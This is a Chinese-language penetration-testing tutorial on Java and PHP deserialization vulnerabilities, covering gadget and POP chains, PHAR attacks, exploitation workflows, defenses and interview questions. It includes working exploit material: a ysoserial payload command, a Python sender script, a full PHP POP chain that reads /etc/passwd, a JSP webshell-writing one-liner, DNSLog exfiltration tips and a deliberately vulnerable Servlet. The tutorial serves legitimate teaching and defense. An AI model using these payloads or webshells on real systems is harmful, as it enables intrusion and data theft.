
上个月做授权渗透测试客户的业务系统是 Java 技术栈端口扫了三轮常规漏洞一个没碰着。正准备放弃的时候我在 HTTP 响应头里看到一个再熟悉不过的东西——Content-Type: application/x-java-serialized-object。那天下午剩下的工作基本就是走流程了确认反序列化漏洞生成 payload执行命令拿到权限后写报告。整个过程不超过四十分钟。这不是个例。反序列化漏洞作为老牌经典问题在 Java 和 PHP 两种语言生态里都长期存在而且因为语言机制不同利用方式和防御手段差异很大。很多人只听说过反序列化漏洞这个名字真到实战和面试的时候要么不知道从哪里下手要么只会背几条 gadget 名字。这篇把两边的原理和实战串起来讲一遍。你会看到为什么一个重建对象的功能会变成远程代码执行Java 的 gadget 链和 PHP 的 POP 链是怎么从危险函数一路倒推到入口以及我在授权测试中最常用的探测、利用和防御套路。1. 先搞懂反序列化在干什么正常功能与漏洞的边界1.1 序列化的本义把对象快递出去要理解反序列化漏洞先得把序列化的正常用途搞清楚。序列化解决的问题是对象如何跨进程、跨机器传输。程序运行时的数据都在内存里以对象结构存在但你要把它存进 Redis、写进 Session、发给另一台机器内存里的结构没法直接传输需要先拍扁成一段字节流或者字符串。到了对方那里再从字节流把对象恢复出来。这个过程就是序列化和反序列化。打个比方序列化就像搬家打包你把衣柜拆成板子、桌腿贴上标签装车运走到了新家再按标签重新组装成原来的样子。衣柜还是衣柜但中间经历了拆散—运输—复原。反序列化漏洞的问题就出在复原这一步——如果你搬来的不是自己打包的箱子而是别人精心改造过的箱子那组装出来的可能就不是衣柜而是一把能朝你开枪的武器。正常用途其实到处都有PHP 的 Session 文件默认就可能是序列化后的数据Java 的缓存组件、RPC 框架、消息队列中间件大量依赖序列化fastjson、Jackson 这类 JSON 库底层也有关联的反序列化机制。只要系统在跑反序列化就随处可见这也就解释了为什么这个漏洞能持续火热十几年。1.2 PHP 与 Java 序列化格式的直观差异两种语言的序列化产物完全不同这个差异决定了后续利用方式。Java 原生序列化输出的是二进制数据最明显的特征是开头的魔数AC ED 00 05。在抓包或者日志里看到这串十六进制基本可以确认和 Java 原生序列化相关。PHP 的serialize()输出的是字符串人类基本可读例如a:2:{s:1:a;i:1;s:1:b;i:2;}这个格式的含义是一个包含两个元素的数组键是长度为 1 的字符串 a值是整数 1以此类推。类对象序列化之后大概长这样O:4:User:2:{s:4:name;s:5:admin;s:8:isAdmin;b:1;}O 表示对象4 是类名长度User 是类名2 是属性数量后面跟着属性名和属性值。这里有个非常关键的区别Java 的序列化数据里带有类名、类描述反序列化时 JVM 会去加载对应类并重建对象PHP 的序列化字符串里同样带有类名反序列化时也会去实例化对应类。两边都是根据数据里写的类名来创建对象——这个机制本身没问题问题在于如果数据是用户可控的用户就可以指定任意的类。这才是漏洞的根源。1.3 漏洞的本质数据变代码边界失守把上面的逻辑再往前推一步反序列化漏洞的本质是不可信的数据流被当成了可信的对象重建指令。安全系统里有条铁律用户输入永远是攻击面永远不可信。序列化数据一旦变成用户可控的输入就等于用户拿到了一个对象工厂的钥匙。用户往序列化数据里写哪个类程序就帮你实例化哪个类类里的属性值是什么程序就帮你还原成什么。如果某个类的某个方法在实例化、销毁、或者某个特定操作时执行了危险动作而危险动作的参数又恰好是对象属性——漏洞链路就闭环了。在这个链条里Java 和 PHP 的区别在于如何在不调用正常业务代码的情况下触发恶意方法Java 依靠反射和 gadget 链PHP 依靠魔术方法和 POP 链。名字不一样思路高度相似。2. Java 反序列化漏洞的原理拆解一个被反复利用的老问题2.1 Java 反序列化的入口与特征Java 侧最经典的入口是ObjectInputStream.readObject()。一个应用对外接收序列化字节流直接调用readObject且没有任何类过滤就可能存在反序列化风险。当然现在裸写readObject的业务代码不多了更多时候是通过一些间接入口RMI 协议Java RMI 远程过程调用本身基于序列化攻击者可以向 RMI 端口发送恶意序列化数据。JMX、JNDI在老版本中间件里远程引用和对象传递都依赖序列化。WebLogic T3 协议、JBoss Invoker这类中间件自带反序列化能力历史上爆出过大量 CVE。框架类fastjson 的 parseObject、XStream 的 fromXML、Jackson 的 enableDefaultTyping 等本质也是反序列化入口只是数据格式从二进制换成了 JSON/XML。识别特征上最常用的是两个抓包看魔数AC ED 00 05或者看响应头里的Content-Type: application/x-java-serialized-object。另外在 Cookie、请求体、POST 参数里出现 base64 编码后以rO0AB开头的字符串几乎可以断定是 Java 原生序列化数据——rO0AB就是AC ED 00 05的 Base64 编码。2.2 反射反序列化攻击的发动机很多时候你看到一个库存在漏洞却用不了因为攻击链需要的类版本对不上。Java 的 gadget 链之所以灵活很大程度上归功于反射机制。反射允许程序在运行时动态获取类的完整信息并调用任意方法不需要在编译期把方法名写死。对攻击者来说反射意味着可以动态拼接调用链通过字符串指定要实例化的类、要调用的方法和要传的参数。没有反射攻击链的灵活性和通用性会打折扣。比如要执行系统命令最终目标是调用Runtime.getRuntime().exec(cmd)。在业务代码里直接写这行很简单但在只能控制对象属性的反序列化场景里你没办法直接写代码执行只能想办法让某个类的某个方法在运行期通过反射去完成这件事。于是就有了InvokerTransformer这类工具型类它的transform()方法内部就是通过反射调用指定类、指定方法、传指定参数。攻击者只需要控制属性值就能让一次普通的数据转换变成一次任意方法调用。2.3 gadget 链从重建对象到执行命令光有反射还不够。InvokerTransformer.transform()确实能触发反射调用但它得先被执行执行它需要一个类的方法来驱动它。这就是 gadget 链的作用一段能被反序列化自动触发的代码路径。经典 CommonsCollections 链可以这样理解反序列化入口类实现readObject在重建对象时调用某个集合类的readObject。集合类在恢复内部元素时调用元素的hashCode()、equals()或toString()等方法。某个元素的hashCode()或toString()内部会调用另一个对象的transform()方法。这个transform()又是反射实现的InvokerTransformer最终调用Runtime.exec()。整条链就是一场接力赛。readObject是起跑器hashCode/toString是交接棒InvokerTransformer是最后一棒Runtime.exec是终点。为什么有那么多五花八门的 payload 名字CommonsCollections1、CommonsCollections5、CommonsCollections6……因为不同版本的库类的内部结构变了某个方法名变了原链接不上就需要换一条路。这也是实战里的常见情况同一个应用用 CC1 打不通换成 CC6 就通了。工具里提供大量 gadget 链选项本质是在做适配。2.4 工具与利用流程概述通用工具方面ysoserial 是 Java 反序列化研究里绕不开的项目集成了大量已知 gadget 链的 payload 生成。此外网上流传的Java 反序列化漏洞利用工具 v1.7.jar这类图形化工具把命令行能力封装成了可视化界面在快速验证和指定场景下比较方便。我的建议是工具可以用但原理必须懂至少你得能回答为什么这个 payload 能打进来。利用的完整流程通常是识别反序列化点找到接收序列化数据的接口确认数据是否可控。指纹识别 gadget 版本通过报错信息、依赖扫描、响应特征判断目标用了哪些库。探测 URLDNS先不管能不能命令执行发一个 URLDNS 链的 payload 配合 DNSLog确认反序列化是否真的执行。生成命令执行 payload 并验证用对应 gadget 链生成执行命令的 payload先用id或whoami验证再考虑回显、隧道、写文件等后续操作。3. PHP 反序列化漏洞的原理拆解魔术方法与 POP 链3.1 PHP 反序列化什么时候会成为安全问题PHP 的反序列化函数是unserialize()。和 Java 不同PHP 的序列化结果是人可读的字符串构造 payload 也直观得多。危险入口主要集中在把用户输入直接传给unserialize()比如$data unserialize($_POST[data]);这是最典型的错误写法。Session 处理PHP 的 Session 存储默认使用文件内容格式可能是 php、php_serialize 等。如果应用自己把用户数据拼进 Session 或 Session 可被污染就可能触发反序列化。phar://协议这个单独展开它不直接调用unserialize但在文件函数碰到 phar 包时会被动触发反序列化。开发者的一个常见误区是我又没直接调用 unserialize怎么可能有漏洞。实际上很多框架和组件内部都调用了这个函数只要用户可控数据经过它风险就存在。3.2 魔术方法对象生命周期里预先埋好的钩子PHP 反序列化漏洞利用的核心武器是魔术方法。这类方法以__开头在特定事件发生时由 PHP 引擎自动调用不需要开发者手动触发。和反序列化相关的主要有这些魔术方法触发时机常见利用方向__wakeup()反序列化创建对象时早期版本可通过属性数量绕过__destruct()对象被销毁时执行类中的危险逻辑__toString()对象被当作字符串使用时触发文件读取、SQL 拼接等__call()调用不存在或不可访问的方法时动态分发到危险函数__get()访问不可访问的属性时返回受控内容攻击者要做的就是找到一个类的魔术方法里存在危险操作然后通过控制对象属性让危险操作按自己意愿执行。举个例子假设代码里有这样的类class Log { public $filename; public $content; public function __destruct() { file_put_contents($this-filename, $this-content); } }这段代码本身完全合法__destruct在对象销毁时写日志文件。但如果攻击者能控制反序列化数据就可以把filename设成shell.php把content设成一段 PHP 代码然后等着对象被销毁——一个 webshell 就写进服务器了。整个过程没有任何业务代码被修改触发点就是 PHP 引擎自动调用的__destruct。3.3 POP 链构造从危险函数倒推可控路径单个类存在危险方法的情况比较简单真实场景里往往要经过多层跳转A 类的魔术方法调用 B 类的方法B 类的方法又调用 C 类的属性做文件操作……这种跨对象调用链安全界一般叫 POP 链Property-Oriented Programming面向属性编程。POP 链的构造思路和 Java 的 gadget 链一脉相承核心是用对象属性控制方法调用链。技巧上最关键的是倒推先找链尾有没有方法直接调用system、eval、file_put_contents、file_get_contents这类危险函数且参数来自对象属性或方法参数。再找链中谁调用了链尾的方法那个方法的类是否也有可控属性最后找链首谁会在反序列化时自动执行通常是__wakeup或__destruct也可能是__toString。只要三段能串起来一条 POP 链就成型了。实战里新手容易卡在第 2 步——链尾和链首都找到了中间接不上。我的经验是打开 IDE 的全局搜索全项目搜谁调用了这个危险方法一层一层往上翻比自己硬记类名高效得多。3.4 不要忽略 PHAR 反序列化很多 PHP 反序列化漏洞的利用都卡在一个问题代码里根本没有unserialize()用户输入也传不到这个函数。这时候还有一条路PHAR 反序列化。PHARPHP Archive本质是 PHP 的打包格式类似 Java 的 JAR。PHAR 文件的元数据可以是一段序列化字符串当程序使用phar://协议去访问这个文件时——比如file_exists()、fopen()、include等——PHP 引擎会自动反序列化这段元数据。也就是说即使代码里没有unserialize()只要存在文件操作函数且路径可控攻击者就能通过上传恶意 PHAR 文件触发反序列化。大致流程是写一个触发 POP 链的 PHP 脚本实例化需要的对象serialize()后写入 PHAR 的 metadata生成 PHAR 文件想办法上传到目标服务器再用phar://路径触发。这里有个环境要求生成 PHAR 需要在 php.ini 里把phar.readonly设为 Off不过触发反序列化时不受这个配置限制。PHAR 这条路的现实意义很大。很多图片上传、文件下载功能看起来人畜无害一旦存在可用的包含点或文件函数就能把反序列化漏洞从不可能变成实锤。4. 实战一Java 反序列化漏洞的发现、利用与验证全过程4.1 实验环境准备实战部分必须先强调一句以下内容只在授权测试和本地靶场环境里操作任何未授权测试都可能违反纪律和法律底线。平时复现 Java 反序列化漏洞最常用的是 Vulfocus 和 Vulhub 这类开源漏洞靶场里面直接封装了 WebLogic、JBoss、FastJSON 等常见漏洞环境拉起来就能用。以 Vulhub 的 WebLogic 反序列化漏洞环境为例启动后一个端口就是目标。如果只是想最小化验证反序列化命令执行也可以自己写一个最简单的 ServletWebServlet(/deser) public class DeserServlet extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) { String data req.getParameter(data); byte[] bytes Base64.getDecoder().decode(data); ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(bytes)); Object obj ois.readObject(); } }这段代码就是教科书级的漏洞本身——直接反序列化用户提交的 Base64 数据。真实系统不会写得这么直白但利用思路完全一致。4.2 从信息收集到漏洞确认拿到一个 Web 应用之后先走一遍信息收集端口扫描、目录扫描、识别中间件和框架版本。发现疑似 Java 应用后重点看两个地方HTTP 响应头里的服务端信息比如X-Powered-By、Server、Content-Type。请求路径和 Cookie 特征WebLogic 一般是/console、/wls-wsat之类JBoss 有/invoker/readonly等路径。如果看到Content-Type: application/x-java-serialized-object基本可以判定这个接口接收 Java 序列化对象。接下来不要急着上大 payload先做可反序列化性探测。最安全高效的探测方式是 URLDNS 链配合 DNSLog。URLDNS 链不依赖任何第三方库不需要目标有某个特定组件只要反序列化真的执行它就会发起一次 DNS 查询。在 DNSLog 平台拿到一个子域名拼进http://xxx.dnslog.cn这个 URL用工具生成 URLDNS 的 payload 提交过去然后回 DNSLog 看有没有收到查询记录。这一步价值巨大确认了反序列化点确实会执行同时几乎没有副作用不会把目标打崩。授权测试里第一发永远先打这个。4.3 利用工具生成 payload 并执行命令确认反序列化点存在之后选择对应 gadget。常见选择包括CommonsCollections 系列目标使用 Apache Commons Collections 时通常逐个尝试 CC1、CC5、CC6、CC7。CommonsBeanUtils1很多场景下适配性很好。URLDNS只用于探测不用于命令执行。工具方面命令行用 ysoserial 比较直接java -jar ysoserial.jar CommonsCollections6 id payload.bin生成的是二进制序列化文件。如果目标接口接收 Base64 编码就 base64 一下再提交。图形化工具比如Java 反序列化漏洞利用工具 v1.7.jar的好处是支持选链、自动编码、内置常见 shell 模板适合快速验证和给报告截图。操作流程一般是填目标 URL、选组件类型和链类型、填命令或选择写 shell 模式、点击生成并发送。实际利用时有个细节命令回显。很多接口接收 payload 后并不直接返回命令输出只返回 200 或 500。那怎么确认命令执行成功常用三种方式先执行whoami或id把输出写入临时文件然后通过 Web 路径访问这个文件。用 DNSLog 做数据外带比如把命令执行结果通过 DNS 请求发出来。直接写入 Web 目录下的 jsp webshell再通过 WebShell 管理工具连接。第 1、2 种适合快速验证第 3 种适合需要稳定后续操作的情况。如果目标是 Linux JSP写 shell 通常就是echo base64内容 | base64 -d 路径/shell.jsp。写完通过访问路径/shell.jsp?cmdid的方式确认。4.4 自动化脚本思路在真实项目里多台机器需要批量验证时手动操作效率太低。我通常会写一个 Python 脚本把 URLDNS 探测、payload 生成、命令执行这几步串起来。import base64 import requests target http://192.168.1.10:7001/deser # 以 ysoserial 生成的 payload 文件为例 with open(payload.bin, rb) as f: raw f.read() data base64.b64encode(raw).decode() resp requests.post(target, data{data: data}) print(resp.status_code, resp.text)这个脚本只是骨架。实际工程里还需要加线程池、错误重试、结果汇总甚至把 DNSLog 的查询接口也接进来收到查询记录就自动标记可利用。到这一步一个 Java 反序列化漏洞从发现到验证的完整闭环就走完了。后续组件升级、自动化审计这些动作放在第 6 章统一讲。5. 实战二从零手写一条 PHP 反序列化 POP 链5.1 目标审计入口和可疑类讲完 Java再看 PHP。这一章我们构造一条真实可跑的 POP 链。假设目标是一段有漏洞的代码业务逻辑是接收一个参数内部做缓存更新class Cache { public $dir; public $cacheFile; public $msg; public function __wakeup() { $this-writeCache(); } public function writeCache() { file_put_contents($this-dir . / . $this-cacheFile, $this-msg); } } class User { public $name; public function __toString() { return file_get_contents($this-name); } } $data isset($_GET[cache]) ? unserialize(base64_decode($_GET[cache])) : null;乍一看没有system、没有eval、没有 shell好像没什么问题。但仔细看入口在unserialize数据完全可控Cache::__wakeup()会在反序列化时自动执行最终调用file_put_contents文件名由属性拼接而来内容来自$msgUser::__toString()会调用file_get_contents读取属性name指向的文件。file_put_contents是磁盘写入操作file_get_contents是文件读取。如果能串起来就可以读任意文件内容并写入指定位置。更重要的是如果$msg被赋值为User对象file_put_contents在拼接内容时会把User当字符串用触发__toString()从而把读到的文件内容写进目标文件。5.2 构造序列化 payload 并生成于是 payload 生成脚本就可以这样写class Cache { public $dir /var/www/html/uploads; public $cacheFile user.txt; public $msg; public function __wakeup() { $this-writeCache(); } public function writeCache() { file_put_contents($this-dir . / . $this-cacheFile, $this-msg); } } class User { public $name /etc/passwd; public function __toString() { return file_get_contents($this-name); } } $exp new Cache(); $user new User(); $exp-msg $user; // 把 User 对象赋给 msg拼接时触发 __toString echo base64_encode(serialize($exp));这条 POP 链的完整执行过程是提交这个 Base64 数据后反序列化触发Cache::__wakeup()writeCache()把$msg拼入写入逻辑时发现$msg是User对象自动触发User::__toString()__toString()内部file_get_contents(/etc/passwd)把文件内容读出来作为写入内容写进uploads/user.txt。最后访问uploads/user.txt就拿到了/etc/passwd的内容。5.3 本地复现与调试这一步在本地搭一个 PHP 环境就能跑。用php -S 127.0.0.1:8080起个简单服务把上面漏洞代码和 payload 生成脚本放在同一目录访问http://127.0.0.1:8080/index.php?cachepayload再去uploads/user.txt看结果。本地调试 POP 链时有个习惯先用var_dump(serialize($exp))打印出字符串确认属性和类名都是预期值再去看触发结果。特别是private和protected属性序列化后的属性名会带上\0类名\0或\0*\0这样的空字节前缀手工构造 payload 时非常容易出错。直接用 PHP 脚本生成 payload能最大程度避免这种低级问题。另外值得注意反序列化时PHP 会先创建对象再判断是否有__wakeup。如果目标代码里存在__wakeup但逻辑有限制条件可以尝试 CVE-2016-7124 的绕过手法——把序列化字符串里的属性个数改成大于实际属性个数某些 PHP 版本会跳过__wakeup。这个绕过在真实场景中依然常见值得记牢。5.4 真实场景中的常见变形上面是最简单的一条链。真实环境里POP 链往往没有这么短。常见的变形有这么几类链首不是__wakeup而是__destruct。反序列化完成后对象在请求结束或垃圾回收时机被销毁触发时间更晚调试时可能看不出即时效果。利用 PHP 的引用机制绕过一些判断或属性检查。反序列化字符串里可以用R、r类型表示引用。PHP 的垃圾回收机制在某些场景会额外触发__destruct有些对象注入攻击需要借这个时机。自动加载机制让反序列化时可以实例化任意类即使目标业务代码没直接使用这个类这扩大了攻击面也是代码审计中容易忽略的角落。掌握这些变形不需要死记硬背核心还是回到 POP 链的倒推法先找链尾危险函数再逐步往上找触发路径最后用 PHP 脚本生成 payload 并本地验证。6. 修复与防御给反序列化漏洞上锁6.1 Java 侧的可落地清单防御反序列化漏洞业界已经有成熟的做法按优先级排列大概是不要反序列化不可信数据。这是最根本的一条。如果业务上不需要接收外部序列化数据直接把接口关掉或者改成 JSON 等安全格式。做类白名单过滤。ObjectInputStream的子类可以重写resolveClass()方法只允许反序列化指定包名下的类。项目里可以用官方的ObjectInputFilter或者开源工具SerialKiller、contrast-rO0。升级组件版本。很多反序列化漏洞本质是第三方库的历史版本问题Commons-Collections、FastJSON、XStream 都出过大事。升级到修复版本很多利用链自然就断了。禁用危险协议。WebLogic 如果不需要 T3就关掉JMX 不建议暴露公网RMI 只监听内网可信任地址。运行时防护兜底。RASP 类产品可以在readObject执行链里检测到Runtime.exec这类危险调用并直接拦截在演练对抗里效果很好。这里有个容易被忽视的点很多人觉得升级 JDK 就够了实际上 JDK 升级只是增加了部分链的利用难度不能完全防御。真正的防线是反序列化数据源可信 类白名单 组件版本三层一起上。6.2 PHP 侧的可落地清单PHP 侧防御同样有几条硬原则不要把用户输入直接传给unserialize。必须传的情况下第二个参数allowed_classes要严格限定$data unserialize($input, [allowed_classes [SafeClass1, SafeClass2]]);传false表示不允许任何类实例化只会得到标量或数组。能用 JSON 就不用 serialization。json_encode/json_decode不涉及对象重建没有副作用大多数业务场景完全可以替代。修复危险魔术方法。代码审计时重点看__destruct、__wakeup、__toString里有没有文件操作、命令执行、数据库操作。没有必要时不要在魔术方法里写危险逻辑。限制phar://触发面。文件操作函数如果接的是用户可控路径尽量做协议白名单禁止phar://。从 php.ini 层面管理phar.readonly配合文件权限控制也能降低风险。Session 安全。使用php_serialize作为 session 处理器时注意不要拼接受不可信数据。6.3 监控与应急兜底最后一道防线是监控和应急。防线做得再好出一次事也得有快速止血的手段。WAF 规则拦截rO0AB开头的 Base64 请求体、拦截O:开头的 PHP 序列化字符串特征参数、拦截请求里出现php://、phar://这类协议。注意正则别写太宽误杀业务反而不划算。日志审计对序列化接口的调用来源、请求频率、内容长度做记录异常时告警。文件监控重点目录出现可疑后缀文件jsp、php、jspx时立刻告警大多数情况下能拦住 webshell 落地。进程行为监控Java 进程执行了Runtime.exec、PHP 进程执行了system这类敏感操作时在主机侧告警。这套配置不需要一次上齐小团队可以先用 WAF 日志告警 文件监控三件套基本能覆盖大多数事后发现场景。7. 面试与自查反序列化漏洞的考点7.1 两类语言面试中的高频问题反序列化漏洞是 Java 和 PHP 岗位面试中几乎必问的高频考点。结合面试经验列出几个高频问题和简要思路。Java 侧常见问题Java 反序列化漏洞的原理是什么 参考答案反序列化时根据数据中的类描述创建对象攻击者构造恶意数据触发危险类的readObject或链式方法调用最终实现代码执行。为什么会有各种 gadget 链 参考答案不同版本库的类结构不同利用链需要在不同依赖组合中找到一条能触发命令执行的路径所以出现了多个 payload。反射在反序列化利用中起了什么作用 参考答案反射让运行期动态调用方法成为可能攻击链可以通过参数控制调用的类、方法和参数而不用硬编码。如何防护 Java 反序列化漏洞 参考答案白名单过滤、升级组件、不暴露接口、RASP 兜底。PHP 侧常见问题PHP 反序列化漏洞怎么触发 参考答案unserialize()接收可控数据配合类的魔术方法或 POP 链形成利用。列举几个魔术方法及其触发场景 参考答案__wakeup、__destruct、__toString、__call等结合触发表和业务场景回答即可。什么是 POP 链怎么构造 参考答案面向属性编程通过对象属性控制方法调用链从危险函数倒推触发路径。PHAR 反序列化听过吗 参考答案PHAR 文件 metadata 会被反序列化利用phar://协议在文件函数中触发。7.2 快速自查清单一个问题回答得好不好不在于背了多少 payload 名字而在于能不能把链路闭环讲清楚。可以用下面几个问题自己测一遍现在有一个 Java 接口接收 Base64 数据并反序列化你第一步做什么第二步做什么如果第一条 gadget 链打不通你怎么排查是版本问题还是入口问题一段 PHP 代码里没有任何unserialize但存在文件上传和文件包含你还会考虑反序列化攻击吗让你给这个系统上防护你最先上哪三层这四个问题如果能流畅答出来说明对反序列化的原理、利用、防御已经有了体系远好过背CC1、CC2、CC3的列表。我带团队面试时判断一个人是不是真懂反序列化从来不问他记住了多少条 gadget 名字只问一个场景题假设一个系统你完全不了解代码给你一台终端和一份网络抓包你会用哪些特征去怀疑它存在反序列化漏洞能把特征、验证、利用、修复四条线说全的人基本就是真懂了。除了原理和技术我更想强调的是这类漏洞的原理本身不算难真正考验人的是把它放进真实系统里的一整套判断——入口在哪、数据是否可控、依赖什么版本、怎么在不影响业务的情况下验证、修复后如何验证效果。把这套思路练熟了不管是实战还是面试反序列化这块就从容了。